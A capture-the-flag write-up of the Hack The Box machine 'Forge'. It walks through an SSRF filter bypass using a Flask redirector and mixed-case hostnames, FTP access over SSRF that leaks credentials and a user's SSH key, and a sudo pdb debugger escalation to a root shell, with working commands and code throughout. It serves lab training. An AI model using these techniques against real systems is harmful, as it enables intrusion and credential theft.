Forge features a website that has SSRF vulnerability on its upload page. Leveraging this SSRF allows me to access the internal admin portal to obtain an FTP account. The SSRF vulnerability also exists within the admin portal, allowing me to access the FTP server and retrieve the user’s SSH key. As for the root part, there’s a Python script with sudo privileges that spawns an interactive debugging session when an exception event occurs. Since the script can be run as root, it is possible to abuse the interactive debugging session to spawn a root shell.
Skills Learned
- SSRF bypass filters
- Code Review
Tools
- nmap
- ffuf
Reconnaissance
Nmap
Scanning TCP ports with nmap discovers 2 open ports: SSH and HTTP. There’s also a filtered FTP service.
→ kali@kali «forge» «10.10.14.4»
$ nmap -sC -sV -oA nmap/default-script-forge 10.10.11.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-13 10:54 EDT
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.066s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
| 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds
Beside the OS and service version, the results didn’t show any interesting details.
For now, I will just add forge.htb
to my /etc/hosts
.
→ kali@kali «~» «10.10.15.190»
$ echo '10.10.11.111 forge.htb' | sudo tee -a /etc/hosts
Enumeration
TCP 80 - forge.htb
The main website shows a gallery of images.
Using Wapplyzer, it tells that the site is running on PHP.
There’s an upload page at /upload
, which allows visitors to upload a file from local disk or a URL.
Testing Upload
I’ll upload a legit JPG file. On submitting, it returns with a URL to access the file.
Since the filename are randomized, IDOR attack isn’t an option here.
→ kali@kali «tools» «10.10.15.190»
$ curl -IL http://forge.htb/uploads/nMu63RoLNdk8BoE2a7b4
HTTP/1.1 200 OK
Date: Thu, 13 Sept 2021 14:06:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Disposition: inline; filename=nMu63RoLNdk8BoE2a7b4
Content-Length: 51142
Last-Modified: Thu, 13 Sept 2021 14:05:20 GMT
Cache-Control: no-cache
Content-Type: image/jpg
This time I’ll try the upload from url option. I’ll start a Python web server listening on port 8000. On submitting, there is a request coming from Forge’s IP.
→ kali@kali «~» «10.10.15.190»
$ hostit
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.111 - - [13/Sep/2021 09:23:38] "GET /innocent.jpg HTTP/1.1" 200 -
With netcat
, I could see the detailed request, where I can see that the request coming is from Python request module. So I’m guessing that the site is running on Python (most likely Flask).
→ kali@kali «~» «10.10.15.190»
$ nc -nvlp 8000
listening on [any] 8000 ...
connect to [10.10.15.190] from (UNKNOWN) [10.10.11.111] 43242
GET /innocent.jpg HTTP/1.1
Host: 10.10.15.190:8000
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
too many output retries : Broken pipe
By trying to upload a non existent file path, it shows me an error which proves that it’s using Python in the back end.
When attempting to access localhost
and 127.0.0.1
, the website tells these addresses are blacklisted.
How about FTP? Well only http
and https
protocols are supported here. Therefore, I can’t touch the FTP server with this (yet).
Vhost Enumeration
Fuzzing the vhost using ffuf
reveals an interesting subdomain: admin.forge.htb
.
→ kali@kali «tools» «10.10.15.190»
$ ffuf -u http://forge.htb -H "Host: FUZZ.forge.htb" -mc 200 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.0-dev
________________________________________________
:: Method : GET
:: URL : http://forge.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.forge.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
________________________________________________
admin [Status: 200, Size: 27, Words: 4, Lines: 2]
I’ll add that domain to my /etc/hosts
.
→ kali@kali «tools» «10.10.15.190»
$ echo '10.10.11.111 admin.forge.htb' | sudo tee -a /etc/hosts
TCP 80 - admin.forge.htb
Unfortunately, visiting admin.forge.htb
shows a message that this domain is only reachable from localhost.
When trying to access this domain from the upload feature, it would return the same message about blacklisted address.
Foothold
Shell as user
SSRF Bypass with Domain Redirection
Several SSRF bypass with number-based payload are actually works and can be used to access localhost address, but I’ve to find domain-based bypass since the web server routes/handles forge.htb
and admin.forge.htb
differently (allow external access vs. internal access only).
Based on the previous upload testing, the site is using Python Requests module. The requests.get()
function is always follow redirection by default. Knowing this, there’s a high chance that bypassing the SSRF filter using domain redirection would work.
Here’s the strategy:
- Host a simple site (I’ll name it redirector) that always redirect any incoming request to
http://admin.forge.htb
. - Submit the Redirector URL on the upload page at
forge.htb/upload
.
And here’s a visualization of how the SSRF filter bypass using domain redirection.
I’ll write the redirector using Flask.
redirector.py
:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def index():
return redirect("http://admin.forge.htb/",code=302)
app.run(host='0.0.0.0', port=80)
I’ll run the redirector with:
→ kali@kali «exploits» «10.10.14.13»
$ python3 redirector.py
After the redirector is running, I’ll head to the upload page, intercept the upload request and change the URL value to my machine IP.
On submitting the request, I see there’s a success message in the response.
A little explanation:
- My IP is not in the blacklist address, so the site (Forge) starts making a request to it, where the redirector is running.
- Since
requests.get()
follows redirection by default, the request goes straight to the site I intended to redirect to, which isadmin.forge.htb
and eventually bypasses the if condition that checks for blacklisted addresses. - Finally, the site takes the whole
admin.forge.htb
page as file content and uploads it. Now I can seeadmin.forge.htb
page by accessing that file from the given URL.
SSRF Bypass with Mixed Case
Another way to bypass the filters is mixing upper case and lower case on the domain name like admin.forge.htB
:
Since mixed case is less complicated, I’ll prefer using it here.
With curl
, I could see the page source of admin.forge.htb
. There’s two links here: /announcements
and another /upload
.
→ kali@kali «forge» «10.10.14.13»
$ curl -s http://forge.htb/uploads/mn4G5G1B5oaF2SXMwbHH
<!DOCTYPE html>
<html>
<head>
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
Accessing /announcements
via SSRF reveals interesting information:
- An FTP account
- The upload feature in this admin portal now supports FTP and upload via query string
u
(/upload?u=value
).
→ kali@kali «forge» «10.10.14.4»
$ curl -s http://forge.htb/uploads/NatO83YkYfhzkl9fG9MB
<!DOCTYPE html>
<html>
<head>
<title>Announcements</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br>
<ul>
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
</body>
</html>
FTP Access
From here, I can try accessing the FTP service via the upload feature on the admin portal using the same SSRF bypass technique.
It seems the FTP host the user home dir. The user flag is done here.
→ kali@kali «forge» «10.10.14.4»
$ curl -s http://forge.htb/uploads/0c47HKRZiXNh3F5smn2z
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Sep 13 08:17 user.txt
SSH Access
For more stable access, I’ll check if there’s an SSH key:
http://admin.forge.htB/upload?u=ftp://:heightofsecurity123!@forge.htB/.ssh/
It’s there.
→ kali@kali «forge» «10.10.14.4»
$ curl -s http://forge.htb/uploads/AC1f3sbHcufWHGGTVpIG
-rw------- 1 1000 1000 564 May 31 12:35 authorized_keys
-rw------- 1 1000 1000 2590 May 20 08:30 id_rsa
-rw------- 1 1000 1000 564 May 20 08:30 id_rsa.pub
I’ll grab that with
http://admin.forge.htB/upload?u=ftp://:heightofsecurity123!@forge.htB/.ssh/id_rsa
And save it to my machine.
→ kali@kali «forge» «10.10.14.4»
$ curl -s http://forge.htb/uploads/hvcNBsh1xwD4c6Nyq0tP | tee user_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[SNIP]...
nR7k4+Pryk8HqgNS3/g1/Fpd52DDziDOAIfORntwkuiQSlg63hF3vadCAV3KIVLtBONXH2
shlLupso7WoS0AAAAKdXNlckBmb3JnZQE=
-----END OPENSSH PRIVATE KEY-----
Now I can SSH login as user
.
→ kali@kali «forge» «10.10.14.4»
$ chmod 600 user_rsa && ssh -i user_rsa user@forge.htb
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
...[SNIP]...
System information as of Mon 13 Sep 2021 03:12:44 PM UTC
System load: 0.0 Processes: 223
Usage of /: 44.5% of 6.82GB Users logged in: 0
Memory usage: 26% IPv4 address for eth0: 10.10.11.111
Swap usage: 0%
...[SNIP]...
Last login: Mon Sep 13 13:30:33 2021 from 10.10.14.141
user@forge:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
Privilege Escalation
Shell as root
Enumeration
user
is allowed to run /opt/remote-manage.py
as root.
user@forge:~$ sudo -l
Matching Defaults entries for user on forge:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
user@forge:~$ ls -l /opt/remote-manage.py
-rwxr-xr-x 1 root root 1447 May 31 12:09 /opt/remote-manage.py
Source Code Review
Looking at the source code, this script is a simple tool for monitoring process, disk, and network sockets.
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb
port = random.randint(1025, 65535)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', port))
sock.listen(1)
print(f'Listening on localhost:{port}')
(clientsock, addr) = sock.accept()
clientsock.send(b'Enter the secret passsword: ')
if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
clientsock.send(b'Wrong password!\n')
else:
clientsock.send(b'Welcome admin!\n')
while True:
clientsock.send(b'\nWhat do you wanna do: \n')
clientsock.send(b'[1] View processes\n')
clientsock.send(b'[2] View free memory\n')
clientsock.send(b'[3] View listening sockets\n')
clientsock.send(b'[4] Quit\n')
option = int(clientsock.recv(1024).strip())
if option == 1:
clientsock.send(subprocess.getoutput('ps aux').encode())
elif option == 2:
clientsock.send(subprocess.getoutput('df').encode())
elif option == 3:
clientsock.send(subprocess.getoutput('ss -lnt').encode())
elif option == 4:
clientsock.send(b'Bye\n')
break
except Exception as e:
print(e)
pdb.post_mortem(e.__traceback__)
finally:
quit()
There’s a hardcoded password of secretadminpassword
. One that stands out in this code is the error/exception handling, where it calls Python debugger (pdb
). Since PDB is an interactive debugger, it is possible to run Python code during a debug session.
To get into that debug session, I need to cause an error to the tool and this can be achieved by sending a SIGINT.
Exploitation
First, I’ll run the script with sudo
and I’ll open another SSH sessions.
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:51411
On the second SSH session, I’ll connect to 26713
using nc
and immediately send a SIGINT with CTRL+C
.
user@forge:~$ nc 127.0.0.1 51411
Enter the secret passsword: secretadminpassword
Welcome admin!
What do you wanna do:
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
^C
On the first SSH session, it’s now has the Pdb prompt (debug session).
user@forge:/opt$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:51411
invalid literal for int() with base 10: b''
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb)
Since it’s a root process, I’ve full access now on the system.
I’ll run os.system('/bin/bash')
to spawn a bash shell and grab the root flag.
(Pdb) os.system('/bin/bash')
root@forge:/opt# ls -l /root/root.txt
-rw------- 1 root root 33 Oct 15 03:08 /root/root.txt
root@forge:/opt#
root@forge:/opt# cat /root/root.txt
73930b...[SNIP]...